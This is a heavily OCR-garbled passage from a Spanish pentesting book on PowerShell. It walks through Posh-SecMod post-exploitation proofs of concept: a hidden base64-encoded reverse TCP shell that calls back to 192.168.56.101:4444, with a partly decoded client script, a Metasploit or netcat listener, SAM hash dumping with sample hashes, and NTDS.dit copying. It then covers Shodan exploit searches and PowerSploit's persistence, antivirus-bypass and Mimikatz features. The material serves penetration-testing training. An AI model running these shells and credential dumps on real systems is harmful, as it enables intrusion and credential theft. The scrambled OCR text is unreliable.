. \pgo lez\Desktop>
:\Users\pgonz lez\Desktop>
Ucers\pgonzale:\Dusktop)
:\U:erﬁ\pgonzaluz\Dcsktop) -\

Fig. 3.27: Descarga en base64 de psexec v transformacion a binario,

PoC: Shell inversa, SAM y NTDS con Posh-SecMod

En esta prueba de concepto se utilizan funciones de post-explotacion interesantes para llevar a
cabo esta ctapa. Conseguir ejecutar una shell en otras maquinas haciendo movimiento lateral en
la organizacion es una de las vias posibles para acceder a otro tipo de informacion. Este tipo de
dcciones se hacen bajo la identidad Yy permisos conseguidos hasta el momento por el pentester.

En primer lugar se utilizara la funcién Get-PostReverTCPShell para generar un codigo en base64
qluc en el momento que se ejecute a través de una PowerShel| proporcionard la invocacion de una
hell que se conectara de forma inversa a un handler que el pentester tendra configurado. En la
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imagen se puede visualizar como 1
y que posteriormente se ejecuta dicho
PowerShell de la siguiente forma Pow
nombre d

PS D:N\libros\pent
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64 se almacena en una variable
acién de un nuevo proceso de
Sshell, siendo Sshell el

a generacion del codigo en hase
codigo a través de la invoce
erShell.exe —EncodedCommand

e la variable utilizado para almacenar el codigo.
*ICPShell

sh-SccHod—uaster\PoctExploitntion) Sshell = Get—PostReve

esting powershe 11\Po
n de comandos

verTCPShell en la posicion 1 de la canalizacid
cione valores para los paranetros siguientes:
192.168.56.181
: 4444 5
crshell\Po:h—SecHod—master\PosLExploitation) $shell
nRDEROQﬂyﬂCéﬂﬂQﬂZRDgthnlnDYRLgﬂxﬂDRRHanﬂDsR]ﬂﬂkﬂHﬂRbuByﬂNQﬂlﬂﬁ?ﬂCﬂnJuRBRDm
lﬂGERthlﬂNﬂﬁlnB?nﬂoﬂaQDnﬂcnﬂKﬂﬂknGHﬂhﬂBpﬂGUnbgBBﬂCdHQﬂBUﬁG4ﬂbgB1ﬁGHﬂdﬂBlne
pRGURthBthnQuBsBGSRcwBlRCgﬂKQB?ﬂRoRpQBnRCRﬂKﬂﬂkﬁ"ﬂﬂchuHGﬂﬂZQBzﬂNMRLgBFg
RpﬂCﬁﬂewﬂkﬂ"ﬂﬂchuﬂGHﬂZQBzﬂHHﬂLqBDRGuﬂthzRGURKﬂRpﬂHGRCgB]RHgﬂaQBBRHBﬂCgR.
QBjﬂHQﬂlﬂBzRHkncuBﬁﬂGUﬂhQRuﬂG4ﬂZQB@RCdRcwBuﬂGHﬂawBlﬂHQﬂcwnuRHQRYUBuﬂGHﬂbnt
kﬂ“IRZQBzRHHRLﬁﬂkﬂMRRhuByﬂHQRKQﬂKﬂCQRchBnHlﬂZQBhﬂGBRln
ADBATABOAGUAdWAEAEBAY)

GﬂﬁbuBuﬂG4ﬂZQBjRHQﬂRRﬂkﬂGERZﬂB
BlﬂHQHduBuﬂHlﬂawBiRHUnZannGUﬂcgﬂg
BlﬁElﬂdQBmﬂGYRZQByﬂPHﬂaQESnGUR

AECAZQBBAFMAAAE ﬂGUﬁVQHtﬂCgRKQRKﬂCQﬂbg

1AGOALgBCAHKAAA 1ﬂFsﬂXQﬂﬁﬁCQﬂYwBsﬂGkﬂZQBuﬂHQﬂLgBSRGURVwBIRGknd%

'BzﬂHHﬁlﬂﬂ?ﬁCﬂﬁT'BIRHCHLQBPﬂGIHa-ﬂlﬂGﬂﬂdﬂH ﬂFHﬂcQBzﬂ"QHZQBtﬁCéﬂRﬁB AGEA uBuﬂGﬁﬂcuBBﬂGkﬂ?szﬂC4ﬂU ByfiG!
Fig. 3.28: Creacion de codigo de la shell inversa.

{1}

Windows. Este
un proceso

/I inversa es la utilizacion de
dden proporciona al pentester
a siguiente forma PowerShell.

Un parametro interesante en la ejecucion de la she
iona diferentes valores, el cual hie
oculta en la maquina. La ejecucion quedaria del

Window Hidden.

parametro proporc
cjecutando de forma
exe —EncodedCommand Sshell -
oger la conexion que genera la shell y para ello puede utilizar,
wandler o sencillamente un nefcal escuchando por el
a la conexion a una

Por otro lado, el penrester debe rec
s. el moédulo exploit/multi/}
fgurado la shell para que devuelv
Joit estara escuchando en ese

1 —p 4444.

entre otras cosa

decuado. En el ejemplo se ha conf
| modulo handler de Metasp

teat, por ejemplo ne

puerto a
direccion 1P y al puerto 4444, por lo quee

puerto. Lo mismo ocurre en el caso de utilizar ne

del modulo c.\'p/uil/nm//i/"hundler donde
vindows/shell/reverse_Icp.

isualizar una configuracion basica
oad utilizado, en este caso 1

En la imagen se puede v
se indica la direccion IP, el puerto y el pavl

Fig. 3.29: Configuracion de t'.\‘p]()il"1”!(/1["71(1)1('//0}2

lecoder para poder pasar de
s decoders online
agen la funcion

igo en base64? Se puede utilizar un ¢
se esta ejecutando. Existen vario

omo se puede visualizar en la im
e legible y entendible.

1Queé es lo que esta detras del cod
base64 a String y ver el codigo que realmente
que se pueden utilizar para llevar a cabo esto. C
Get-PostReverTCPShell genera un codigo totalment

e -
apitulo 1. PowerShell puro: El arte del pentestin

El pentester ili
pentester puede utilizar este codigo como base
gaco ase p

tipo de pay : ara hacer s o ‘
| payloads que después puede P S ara hacer sus modificaciones. e incluso cre

64 v eie A
#y ejecutar como se ha mencionado

ABhAG
OAZAByAGUAchzACAAPQAnADEAOOAyACdAMOAZAD

YALgAXADAAMOA
YALGAXADAA) nADsAIAAkAHAAwayAHOAlAA9ACAAJv,AOAD%AA'}\?:;?E

AAKAAKAGMADA
UACQAGAC BpAGUAbgBOAC4AQwBYAG4AbgBIAGMAABIAGOAIAALA
AALAG

gBOAC4AQwBSAGBA
AGMAZOBZAHMALQBFAHQCA\‘;%S

ALgBDAGWADY pACAAewA
T wAwazAGUAKAApAHOACgBIAHMéO%/})ng%Bgni%%%BZ
: ' ' AB ~
ey UTF-8
: ¥ (You may also select input charset |

Saddress =192 168 o ,
function cleanup { 56.101" Sport = '4444"

if (3
(Sl ected -eq Strue) {Sclient. Close()}

e -ne $null) {$process. Close())

exit}
3client = New-Obj
18N = New-Object system. i
Sclient. connect(Saddress. ’s';ib}'i)f' t.s0ckets teoclent
am()

grsllrte oy Sclient. GetSt
etworkbuffer = New-Obje
wouliter = New-Object System.Byte(] $cli iveBuff
New-Oblect System Diaghosles Proacn e ulferSize

sprocess Startinfo.FileName = $env ComSpec

Fig. 3.30: Decodif :
g. 3.30: Decodificacion de hase64 a Strine
N Strine

re 10 imnteres [es sor Cret-rost ISNIAUMPNCi ret-rost a3 ’ a nr > fa
o €S In < (& e
N D 8
. P € P \) //( \/ / / S l'/)/ y Ge
( AS Tunc S1( (l/ A'\ /[_)\ S/ l_“”]kl
L
< = = ] S SuU €jecuci( ( :|
C I 1 enera un ¢ dl 0 que se d( ’.)L que tras su u 01N, (IL nrm
<

1 o1 3 9 ~ y . . 4
, I p clona un volcadc ac 108 usuarios v HLI\'/I(J\ C1a \f\
¢ O 0] jl d 3 I ) e d P H J

s | almacenar a vari
similar a como se hizo anteriorme S et
El volcad i

ado que se realiza pr i
i ( : e lea.h/a proporciona el nombre de usuario, el i
¥ hash ] del usuario. Para poder llevar e
administrador en el proceso v

A e el /l:uhcudor de usuario y el hash LM

ya que si Qe “ . . nentester debe tener privi % b

Yaque si no se obtendra un acceso denegado. I tener privilegio de
: oado.

se lleva acab S
é o de la siouie o g E 2
guiente forma Shashdump = Ge a generacion del codico

-PostHashdumpScript.

S D:\libros\ i
D:\]ibro:\p:ntEStlng powershe 11\P
P 1i s\pentestin = osh-SecMod-nastep
ke Eeble Y Bpuer b INDesh Sect ok oo IR LERE L Eikahunt © Cor %
WSqUHOChE5 12 tn romBase648tring(’ r. nReader (4 (Neuy-0bj igacion> shashdu S
L1y oHOcheSE2En Cof Mycra PTuRE IR Txd+145p8 3595 /4 KUZPTANDDY GaT SaRL eSS 1
C SHE 8niRP s KUZPTANDDYQS 22D Bas 3
i ,'zvnr.cal-m.’,‘.3%35‘6}'5;33Eé'éﬁzsgaéﬂps}’?’ﬁ‘é‘.&%éﬁq"”%ﬁfggcl‘nf-gﬁi‘}ig?ﬁg?i’.‘féi”,":',"”"““Eggl‘5?2*535:«“5_%5? 'S
YHUB5S 10ksEbpy g +F3 4 4ZHE2Ho BOZy i b/ §UMbEM210Wr: auDU4Cesoin
Nltbukgpgztgerz bporiasF3 IxUnS0Lb ) 0BOZuTabH/s1QKuZ+T *ul48Hqgubl4
: ‘ ik t620%um:
N5 o uKSpEdLieT2up7dPNRIPRE LY LhF ¢ bx2bSnZ38eBUALY ZUUGGH QPGB s ontbetvtIyudni
o aendSClauke JLY=FOKRBBC7BTc Lot 75 B0 posy ot o ocar earaqELIIS GO CluuontNTuupaue
Zks 9ygzKurzrcBO, NS e IXCR=Y Sl IR0 P AL Etodt Sarat
2RUPZRC 'ne6u?9?yﬂaF?uoy/qubr&UEggggééagZ:ysgubbgidkgsg:gggﬂig(ﬁggik
: UbPUA1GSKXLn +pZs +1/9B j4ua91uC+STJ5
pard 21y G+BrS

tHashdumpScript

ig. 3.31: Genere on odigo para realizar el hashdu np.
e 3.3 eneraci ¢
/ de /s‘/l/ ali //(I/(I/

Lains y
-dInstruccion q i
. ue ejecutareal
d mente el volc:
tomo se puede visualizar c(n |Ln‘lL el volcado de hashes es PowerShell.exe—C
S . ar en la ume - - 3 .exe—Commanel $has
los hashes. Esta - _en la imagen se obtiene el nombre de los _ mmand Shashdump,
old ormacion puede ser utilizada par: € ae los usuarios, el identificador v
- ¢l d < /

“lU\lLI(l “ |h]|lla(l O para eahl(" mna lllll)(“]ﬁ()lld_l Al n (le 1SUarios l)(il eje )I ) CONn 1ecnica
: a un 0. H
i p : O {CKen
a ‘/’f IIU.\/]. 3 : / / \/
J l Q
ccnicas

ar otro
anteriormente.,
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I n fi 1 it que se encuentra en
ia del fichero NTDS.dit que se ¢

PostCopyNTDS permite realizar una copia del fichero

ion Ger-PostCopyiN 1Dk z

La funcion Ger-Pos VN’ ks

los controladores de dominio de la organizac

Sl L‘ heniester nega a tener acceso a estas Illdquxll‘lb\ Ee”elah“e“le dt— manera ICllIC)la. S€ pod[ld
la nzall en una } oW ’S] L’h esta ﬂlllcl()ll con L‘ '"\ d(. leallza‘ una COpla del (lChelo OthIlel l

Ve 1 Os
hasheb de l()S usuar 108 y ]Ildqu"las del dOl[‘lllllO.

) s S = > ! and 2hashduny

she sh—SecMod-—nastexr stExnloitation? Dowexrs 1l.exe onMman
Exnloitatio

ster\los

<he 11\Posh-S¢e Mod P } ( i 5

95313F 305947eAc889cBz ==
: Gae931h73c59d ot
fdministrador:500: c1484eeaad3b435h51404ee:31d6cFeddl fa3fb::
Inoitado:581:aad3hd3sh 469855942¢08:
1901 :

ting po ~=he 11\Posh-Sech i-master\Pos cxpl >
n P8 X NPo ecMod-master\ ostExploitation
g ¥

Fig. 3.32: Obtencion de usuarios v hashes.

G ey 0CES0 remoto,
B mite ejecutar ut pr
imo. la utilizacion de la funcion SIart-PoisemoteP’,o ce.sbr:;fcl)s eje:utar en remoto, por lo que
Por dltimo, la ut & le puede pasar que que - oto a través de
: -a funcion es que se le p ohle se puede ejecutar en rem
i RGN le 537 'iuversa y se almacena en una variable se puede €]
: shell i
sl se genera una

. p y S 0.
l n, siempre Cllalldo se lb“ga EI p]lVlleglO necesari
esta unclo

T <direccion IP>
(ReverTCPShell-LHOS ion
- funcién seriasimilara Sshell = GetPa.srfe\ e’z lireccion 1P o nombre maquina>
B ;‘“C’ PostRemoteProcess —Computeriame ;( u’c ; (Ge, e or we

sl Ay g » I_Ciedentia et- 1l ;
‘LPORT<P’{(” " Shell.exe ~EncodedCommand Sshell ’ [-C /.ul B e (i i
o B 7Ld. ia credencial, ya que dependera de si el USue

“hete la parte de le ;

entre corchete la ;
memoria necesaria o no.

- ‘ p p = ¢ PI con
Fosh S(‘( Toc roporcion dl[t‘,len es m dl Q erm ten a [ esier actuar 1a A
a tes modau l S quL p rmi ll Yl interactuar v ¢
I /t - l 4\[ :7\ )1 )il V(‘S.\U.\ ‘/” 1S ]DIU] (o] Sh()([( 1. [.. S e 2
O, | '

tllt()[ll()s como el LI / Il ne te apar tAdO 5€ eb[lldl ran las |ullCI()llcs
!lOpOlClOlladdb [)0 lOS lllOdlllOS de l s ]('”ul y S wodan

! 2 J

b pl €3 o p e S = . I
F ’ do |\qt S n oLro T ecto llam Q P EAY 10dan } ()\l V I I

O L 0)’ L ” 1 ad 0 h bl (9] I v - VIrus ]() d aCLCSlh S
;StOS mOdulOS hdn S1
dCSdC Ll (l”h“b dL D(” ‘\OI)LI ator.

I P 1”“(:[ €S (le 5'1 ) 17 Propor ionaran a entester ‘:]S ‘ mnclon - rias pﬂlﬂ lcalllal
as ones ( ) T I ¢ 1a
ahdades necesa
’ d( I I l) :
:

l\q eadas av zadas sopre ”ldqu"ld\- qlle S€ L“Cue““a“ E\.]‘)ULS asen in ernet a raves de p
b d l S b » o - gt ] t { t A d [aq 1 148

Lusqu avan I . I 4
L()ll\ul[dS quL Se pUde“ lt.allldl en su Slll .

D b Q Weh shodair.l

‘ ard lltll zar \a S ha q 1€ (l sSponer (l ! 1 A 1 ey a cual en tl caso dL Sh‘)da” se pu‘:dc
l y U € und 41 ]K .'l ‘
h.lll(.lOne. b
1 S
Consegull‘ dL.SdC El SmO \Veb (.leand() una Cuellld.

conti iacion seen < d D S d o p .
1 L t
A imeran ] AS (l le] e[l‘(‘§ unciones con una b] eve (leﬁ(‘]‘l clon

Descripcion ——
¢ sterior
Almacena el valor de la AP/Key para un po%te i
Accede al contenido de la 4 PIKey sin mostrarla p
ceede

Funcion
Set-ShodanAPIKey
Read-ShodanAPIKey
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Funcion

Descripeion

Devuelve informacién sobre la cuenta de |a APIKey. Un
ejemplo sencillo seria almacenar la APIKey con la func
Set-ShodanAPIKey y al recuperar la informacién de la cuenta
con la funcion Ger-ShodanA Pllnfo se puede ejecutar la
siguiente instruccion Get-ShodanAPlInfo —APIKey (Read-
ShodanAPIKey)

Enumera el listado de servicios disponibles

ion
Ger-ShodanA4 Pllnfo

Get-ShodanService

Devuelve informacién sobre una direccién | P. Los datos
que pueden ser devueltos son el sistema operativo, puertos
abiertos, organizacién a la que pertenece, ISP, tipo de
protocolo de transporte, etcétera. Su gjecucion es Ger-
ShodanHostService ~APIKey <valor> -IPAddress <direccicn
e
Esta funcion permite realizar busquedas sobre la base de
datos de Shodan en busca de méquinas. Las bisqued
tan flexibles como las guerys que se pueden hacer a través del
sitio web, pudiendo realizar basquedas de bamners. puertos,
sistemas operativos, regiones, geolocalizacion, etcétera
Proporciona una forma de medir los resultados de las
consultas. En otras palabras, si se realiza una biisqueda sobre
hosts, por ejemplo de Zabbix, se obtienc el resultado de
ocurrencias. Un caso particular seria ejecutar la instruceion
Measure-ShodanHost ~Query “zabbix"
Realiza resolucion de nombres de dominio a través de |
de datos de Shodan
Realiza resolucién inversa de direcciones [P a través de Ja
base de datos de Shodan
Devuelve la direccion IP desde dénde e

Get-ShodanHostSeivice

as son
Search-ShodanHost

Measure-ShodanHost

Get-ShodanDNSResolve

a base

Get-ShodanDNSReverse

Ger-ShodanMiviP | usuario se conecta
Esta funcién permite realizar biisquedas sobre la base de
datos de Shodan en lo referente a vulnerabilidades y
disponibles. Esta funcién es realmente interesante

. : ; exploits
Search-ShodanExploit ,

para poder
tener acceso a una gran cantidad de exploits

Permite medir el nlimero de ocurrencias de exploits con
una query personalizable en funcion de las necesidades del
pentester

Tabla 3.21: Funciones del médulo Shodan eir Posh-Shodan.

Measw e-ShodanExploit

Zm ) e S

Acominuacic'm se m

uestran las funciones del médulo de VirusTotal, el cual se
Posh-Viyys Total:

puede encontrar en

D
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Funcion

Descripeion

Get-PoshVTVersion

Chequea la version del médulo de VirusTotal que se
encuentra instalado y la version del que se encuentra en

Github

Get-VTAPIKeyInfo

acion de la APIKey almacenada

Recupera inform
previamente

Get-VTDomainReport

Recupera un reporte de VirusTotal para un dominio dado

Get-VTFileBehaviourReport

Recupera el reporte que indica el comportamiento de un
fichero al ser ¢jecutado en una sandbox. Para esta funcidn se
debe disponer de una APIKey privada

embros de la

Get-VTFileComment

Recupera los comentarios de otros mi
Comunidad sobre el recurso solicitado

Get-VTFileNetworkTraffic

un dump del trafico de red generado por un

Recupera
fichero ejecutado

Get-VTFileReport

o de VirusTotal sobre un recurso

Recupera un reporte basic
su hash

Get-VTFileSample

Descarga un fichero a ravés de

sultados de un escaneo para un archivo

Recupera los re

Get-VTFileScanRepoit

almacenado para una

Get-VTIPReport

Recupera un reporte de VirusTotal
direccion 1Pv4

bir archivos

y Get-VTSpecial URL

4 una direccion URL especial para su

Recuper
mas erandes de 32 MB de tamano

avés de una direccion

Get-VTURLReport

Recupera un reporte de Virus Total a tr
URL proporcionada por el pentester

Elimina un scan programado

Remove-VTFileRescan

.\'L'(lll‘h- T, {dvanic 'L"(//\’L".‘L'l'.\‘t'(/

Realiza busquedas de binarios que /maic hean con otros

binarios. metadatos 0 criterios

ey para que se pueda utilizar

Ser-VTAPIKey

Configura el valor de la APIK
sin necesidad de indicarla imp
de funciones

licitamente en cada ejecucion

Set-VTFileConunent

Permite subir un comentario sobre un fichero o direccion

URL

Set-VTFileRescan

LLanza un escaneo O pl'(’)gl'ﬂhlﬂ un escaneo para ser l;mzado

mas adelante

Submit-VTFile

Sube una mue

stra para ser escaneada por VirusTotal

neada por VirusTotal

Submit-VITURL

Sube una direccion URL para ser escd

Tubla 3.22: Funciones de

| modulo VirusTotal en Posh-VirusTotal.

Capitulc DowerS 4
pitulo Ill. PowerShell puro: El arte del pentesting

_NEN

PoC: Shodan y VirusT
i hodan y VirusTotal en tu PowerShell
“n esta prueba de conc
cepto se muestran diversos ej

i A}P] d; l:ml.slrdanl\ ersos ejemplos de uso de funciones de Shod Vi

5 / ambos. Hay que recordar % P —
que disponer de una 4PIK, Y que recordar que para poder utilizar unci '

- e ] 112 N o 1 érll ; : 5
a APIKey, la cual se puede conseguir creando una cuenta e( ehiiag el
2 a en cada servicio

La primera funcid ;
ap uncion es Ger-S, ; ]
kit i /,L.,,,,GS.,L,,.‘ /éud(//;l/&&/Ser\'u'(-' la cual recupera informacién de una di i0
bl p.l‘s;; . En un pentest, una vez conocidas todas las direcci 12 e s
& e - g a recciones 1P de un:
por este servicio para consultar la informacién dispor 'bllKE ”S/dL "y
sponible en Shodan

PS D:\libros\p 3
e —APIKey entesting powershell\Posh-Shodan—master> Get-S} danH
—shodanHostServie

g73UWU —IPAddress 8.8.8.8

CA
134744072
6508

23838§999999999996
gle— ic—dns—
S3008 public-dns—a.google.con?

807

us

?gogle

{ip=134744072; i
1 5 isp=G 5 v
ﬁﬁfgﬁsloni enahled;pasgggéiélg;?nsp?rt=Udp; datas
ti;eﬂimes:System.Object[]; locaéigoi. 235
domainsgg;ggéﬁ_33731ril:86:11'1231363
s='“' Sten. Jectl]; org=G s os=3

§g§51691p_9tr—8.8.8.8}} g=Google; os=; _shodan=;
ountain Uiey
Googleln iew
5%22,8838
coun:ry_code3 U§55—37—31T11:86:11.123128
country_name United §

oy tates
ip 8.8.8.8

ports {533

pegion_code
1p

area_code
latitude
thostnames
postal_code
dma_code
country_code

Fig, 3.33: R ()
8. 3.337 Recuperacion de informacic i
peracion de informacién de un host concreto en Shodan

L““ P A1 CETICT
o nmmm..\u]ullu de pasar todas las direcciones IP d i
I(f)' este servicio de forma automatica serfa la siguic de una organizacion, una vez descubiertas
wet-ShodanHostServi seria la siguiente car <fichero con di ! 7 by
ostService —APIKev <apikev: Sicheiro con direcciones IP> | foreach |
APIKey <apikey> -IPAddress § }. SORLNE

[ 0 lvl”. 5 S
- 1CO i,]UC C (ICbC e €
. ner en cuenta es i
”)' una l” oy 5 cuenta es C]UL se tuene (.lll[.' crear ur ] 'l 7 { €
10n h()l‘ J"]ea en l)l ﬁ(‘h IO cnero (16 texto con |35 (“]'CCLi‘\V”k‘\

()“'l dk.‘ ] 1 i ) o o
« as |lll]C10]1€> in Or
]l ortantes p'll‘a ili

]UL' S¢€ pu biener inf A 3 C un /)(’/7/().\.', U”l]zand(’l S’/l() /(/ Search-S) :

[ C( LanL] ]nlﬂ 14C101 SC l re \'U]nk‘ra )]l[d'-]d Sy / A( 1 es dearch S/?U(/([/[/‘_‘(/7//)[;‘. va
{ C puede (e1) 3 adaes y t".\/‘ oLs .
l. 1 lil i €N S puc Zar ) .) . C 1
‘ Imager ' <] I i i

14 daec visua € T i ’
G "tl‘ ¥ : /’b .\‘ [ S ﬂ\yi - d h ar como se leallza una l “Squeda pﬂl-'(l encontrar ¢ h(
- . X iaap I sten - - o Q o r bus e g = - [
()S | !)B, /D “‘// g ofros paldleIO: [)OI‘ IOS qUC s€ plledcn I I" < y ( ; c L
B » 4 ‘Sb' l)/(”.ﬁ)/'lﬂ. )_\’[7@ 0 ]nl(\l O callza LlL f]l.ledaa como (:[ d 5
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= = - Sea1~c]|—ShoallExpul
v aster A
PS D 11b1~osnentestna 0O !1]]81\8’1 $110dan m : 3

—APIKey

: CUE
ource

i : 2813-1364 S z
oz 3 ihgo?ze;.éog;glf:qigagnPeNOte attackers to ove
efor .a.

i » ter.
configuration via the cnf parame

" i’ d 2.%
: in Zabhix before 1.8-13rgge LDAP
description

<>

(574712
{CUE-2813-1364>
o

CUE3—5572

%gibix Z-E:Sdaliggiord by 3
gzzeggﬂzndlgeaging the ldap_hind_passwox
source code.

&

O
: {CUE-2813-55727
o

iscover
remote authenticated users to disco

. nt—-console
leveragng word value in the HTML

1 H 0SS stin pst osh— n—master .-188 1 fo:each {(8
1ib: \Dent,'e 1 power 1ell\P sh-Shoda S >
S D:\libros S g

S id — 378>
.aPCh—ShodagExglg;Ech2§§K?9WhePe—0bJeCt tg_-_id —eq 13

hp 5.3.8 - Hultiple_Uulnerahilities
gaﬁsyﬁilian Arciemowicz

18378

ExploitDB

iol :
38%5231514T30:BB:BB*BB-BB

{2812-9781>
dos

/ j -avés de Shodan
Fig. 3.34: Busqueda de exploits a traves de Shac
hLllSquL‘Li&l recursiva por

: ioar 1a efecucic e una
- <o nuede visualizar la ejecucion d : o
i -l piade Vi : ados de las buisquedas a

e a parte de | i
En la segunda par ; AR T S 5
{iferentes paginas devueltas por Shodan. Hay que entender il e 1
\1461} le la \I)l se encuentran paginados. Por defecto. se devue g g ¥ Lt
"¢ g e la / = R 5 CIT sgte caso. Iz e ) L fored
oy : l‘ citar el resto de paginas con un simple script. Ln. l_\lk,)\d e e S
pueden solicitar el resto Koy <apikev> -Platform multiple -Page §_).n ] ot
bl 4% i, e 10 s soinas de resultados devueltos |
8. @ 2 i 1 que se revisen las 100 primeras paging S : et
[Q e | o AETSTE IIOVOCE S e g ] et i i e ‘
ot las vulnerabilidades multiplatatorma. Una vez que ok
o o5 : de la vulnerabilidad con identificadc 361
A Como nota indicar gue

pero se

Shodan para analizar ! o
g () /- Qe =1 n v 8
canalizando a Where-Object se realiza la mm]m ;' e i
e ] : as y e < -, >
Este es un buen ejemplo de manejo de paginas y lratami
i : i con Windows o Linux.
Plarform puede ser diversa, por ejemplo con Windo
( i i

Vi se Measure-
concepto sobre el modulo d.t‘ .Sn‘w/r/u es i\{(:l.‘»ligéﬂ
agen se puede visualizar una hiisq
. inas que tienen como
r tratadas

La tltima funcion que se trata en esta pruel ]a c;e B
‘ ir los resultados. En Iz

ShodanHost, la cual permite medir los resultados gy e

. .liz \da sobre la base de datos para obtener el nimero de

reailzada ek

aquinas lueg sden s¢
rase ssh-2.0 weOnlyDo 2.1.3. Estas maquinas luego puede
hanner., en algin puerto, la frase ssh-2.0 Iyl

y procesadas con la funcion Search-ShodanHost
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pentesting vowershelI\Posh-Shodan—master)> Measure—ShodanHost

JWU —-Query “ssh-2.8 weOnlyDo 2.1_3"

total

83272

&
73
w

.33 Medicion de hosts encontrados en Shodan con una condicion determinada

En la siguiente imagen se puede observar cémo se realiza una subida de un
para que se pueda analizar. La funcién de subida de archivos Submir-VTFile
sobre el hash, el identificador del escaneo, el identificador de recurso con |
después mas informacion. La funcién Get- VTFileReport, la cual t
imagen, permite recuperar el reporte con toda la informacion. publ

a muestra a VirusTotal
devuelve informacion
a que se puede obtener
ambién se puede visualizar en la
ica, sobre el analisis.
D:\1ibros\pentesting powershe ]

-\PsExec.exe —-APIKey
afBd56fe?h4d538

: 3h88535b4add194f5661e113108981af3?3ca3220P669674cf12?20958
5cah95-1438539403

b5c62d?9eda4f Ze4b6Balcaa5?36a3fdc2£1h27e

Fesource gbﬂgggSh4add194956613113108e81af373ca322c9669674cf12?2695e
ca

IPesponse_code

1
H gbﬂgSng4add194f5661eil3108e81af373ca3220f669674cf1272095e
cabh?

https://wuw.uirustotal.com/file/3h08535h4add194?5661e113ic
8881af373ca3220f6696?4cf1272895e5cab95/ana193is/1438539403

7/
dS a7f?7aBf74c8h48£1699858h3b6cileda

erhose_msg Scan request successfully queued, come back latewr for the
report

permnalink

Psngiklibros\uentesting powershel1\Posh-UirusTotal-master) Get—UTFileReport
3 ey

1d538
[Resource 3b88535b4add194f56619113lc8e81af3?3ca322cf669674cf1272@95e50ab95
: B{Bkau=; Microlorld-eScan=; nProtect=; CAT-QuickHeal=;
McAfee=; Malwarehytes=; Zillya=; SUPERAntiSpyuare=;
K?AntiVirus=; BitDefender=; K?GW=; TheHacker=;
NANO-fAntivirus=; F-Prot=;: Symantec=; ESET-NOD32-=;
TrendMicro-HouseCall=; Avast=: ClamAU=; Kaspersky=;
Alibaba=; Agnitum=; UiRohot ByteHero=; Rising=;
Ad-fAuare=; Sophos=; Comodo=: F-Secure=; Drlleb=;: UIPRE=;
i ; McAfee-GUW-Edition=; Emsisoft=; Cyren=;
Avira=; Antiy-AUL=; Ringsoft=; Microsoft=;
Arcabit=; AegisLab=; GData=;: AhnLab-U3=; ALYac=; AUwar
UBA32=; Baidu-International=; Zoner=; Tencent=; Ikarus
Fortinet=; AUG=; Panda=; Qihoo—-368=>
3h08535b4add194f5661e1131c8e81af3?3ca322cf669674cf12?2B95e
5cab?5-1438494966
- hSc62d79eda4f?e4h68a9caa5?36a3fdc2f1b2?e

ghBSSSSandd194f5661el131c8e81af373ca322cf6696?4cf1272395e
cabh?

1
2815-08-82 B5:56:06

https://wuw.uirustotal.com/file/3b88535h4add194f566181131c
8&8laf373ca322cf669674cf12?2895eScab95/analysis/1438494966
7/

Sgan finished, information embedded
5

1
3b9§gg§h4add194?5661e113108e81af373ca3220f669674cf12?2395e




Pentesting con PowerShell

[ 154
5. PowerSploit

P ~ - y .l
ower Spl()” son un C()"lu to dc modu Qrcio na COl Cl! p

a] unas |aS'eS . d QDI odo p T i €S d [2) l—é.\pl()IaCll’)ﬂ en un test de
mtrusion. ower € ;

igui ireccion URL https://github.
i trar en la siguiente direccion
o werSploit y se puede encon 8l e
i C‘laSlca. es/gzrvirsﬁloit, mientras que PowerSploit Atsenql o Po'n er/ gofvei‘ ShellArsenal.
COM/mmiilfesmlnos"'guiente direccién URL https://github.com/mattifestation
encontrada en la si

a cabo ejecuciones
; : modulos para llevar e
: . ; rciona un conjunto de : . 5 estion de la
e PowerSploit proporcion: : o cién de ésta, g
La ra'm.a cIéSlZi‘én de antivirus, recopilacion de mforn??cxon y'{?aglp:clfipfs en la maquina victima,
i, 4 fase de post-explotacion, manipulacion sencilla de

i ia en una =
persistencia
etcétera.

. o . El
llIO(lul() puede ser utlllde(l pa]a desel lSal[lbla[ ﬁCllell()S . lepalﬂ,al allallSlb de malwaie .NE l, anallsls

; i n enumerar en la siguiente
jonalidades que son proporcionadas por PowerSploit se puede
Las funcionalidades
o esta categoria proporcionan la via
1 funci se encuentran €n es | pr¢ ' v
tion. Las funciones que lent s s sty
: Co'de Ifxea’iiiuo ya sea a través de DLL Injection. Reflective PE Inj
codigo,
para ejecutar g -
g o imi ] 10 -ipts sobre una maquina
Seript Modification. Modifica u optimiza la ejecucion de scrip
- Scrip. i
p dwmn otros frameworks de
- l?euisrence Una funcionalidad interesante en un pe;ztesl.t e}; ’21:3 Ie;; i d{i e s
- e o : : 4 "
nciones permiten al pe , ! e
" se encuentran. Estas fu : : g o
POWé’; o I::Oder al equipo o de ejecutar diferentes acciones a tmve‘:.1 :ﬁdo pis p
r acce : ' . . .
G :?t;/eempo En resumen, genera persistencia en el equipo comp s e SR
- : - i tivirus. S0 ‘
bypass sobre los an ) Scrico
pass. Ayuda a realizar b . 1t i B
, ¢ Am:::lg'olﬁaBﬁ cual permite localizar firmas sencillas utilizando el
esta ca q
o ey i jecutar un Mimikatz
con Itration. Esta categoria proporciona al pentester f'unmopels parr:a%lzar e
. E’;I]‘i f a{:oui'na comprometida, hacer inyeccién de credencia es,n o g
SObl'C_ . m]oq de ficheros bloqueados por el sistema, conﬁgura: :tera i picbivsirho
o .eJeTP do de memoria, conseguir screenshots en remoto, etc s
mini volcado e )
interesante para la post-explotacion. ' N e
hem. Esta categoria dispone de 2 funciones las cua kgt o
1 M'ay eml;uede modificar el Master Boot Record y la segunda pro
La primera :
para provocar un volcado de memoria RAM.

h
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Recon. Esta categoria proporciona funciones que puede
de recopilacién de informacion. Algunas funciones proporei

direcciones IP y un escaneo sobre un grupo de maquinas pudie
Jingerprinting.

Las categorias que son proporcionadas por PowerShell
continuacion:
- Disassembly.

Estas funciones desensamblan codigo nativo y gestionado.
- Malware

Analysis. Herramientas ttiles cuando se realiza un analisis de malware.
Memory Tools. Funciones que permiten al pentester
S¢ encuentran en memoria y de la informacién que se al

realizar un analisis de procesos que

berga en ella.
Parsers. Permiten parsear estructuras en memoria.

- Windows Internals.

Obtienen y analizan a bajo nivel informacién sobre el sistema
operativo.

Misc y libraries. Funciones

y librerias de ayuda para mejorar la experiencia de la
ingenieria inversa en PowerShell.

Code Execution

Esta categoria es una de las mas llamativas,
llama mucho la atencién del usuario. La €j

ya que la ejecucién de codigo en un sistema siempre
ventajas, ya que la evasion de mecanismos d

ecucién de codigo a través de estos Scripts tiene sus
